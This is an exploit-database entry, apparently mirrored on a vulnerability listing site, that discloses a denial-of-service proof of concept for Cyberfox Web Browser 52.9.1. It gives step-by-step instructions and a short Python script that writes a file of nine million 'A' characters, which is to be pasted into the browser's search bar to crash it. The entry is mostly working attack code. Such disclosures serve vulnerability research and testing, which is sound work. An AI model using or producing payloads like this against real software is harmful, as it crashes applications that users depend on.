发布 2021-09-27 漏洞条目

Cyberfox Web Browser 52.9.1 – Denial of Service (PoC)

Exploit Source

# Exploit Title: Cyberfox Web Browser 52.9.1 - Denial of Service (PoC)

# Date: 2021-09-26

# Exploit Author: Aryan Chehreghani

# Vendor Homepage: https://cyberfox.8pecxstudios.com

# Software Link: https://www.techspot.com/downloads/6568-cyberfox-web-browser.html

# Version: v52.9.1 (Possibly all versions)

# Tested on: windows

#[ About - Cyberfox ] :

#Cyberfox is a Mozilla-based Internet browser designed to take advantage of 64-bit architecture

#but a 32-bit version is also available.The application provides a higher memory performance when navigating your favorite pages.

# [ Exploit/POC ] :

# 1.Run the python script, it will create a new file "output.txt"

# 2.Run Cyberfox Web Browser

# 3.Copy the content of the file "output.txt" & Paste into the "search bar"

# 4.Crashed

Overflow = "\x41" * 9000000

try:

f=open("output.txt","w")

print("[!] Creating %s bytes DOS payload...." %len(Overflow))

f.write(Overflow)

f.close()

print("[!] File Created !")

except:

print("File cannot be created")

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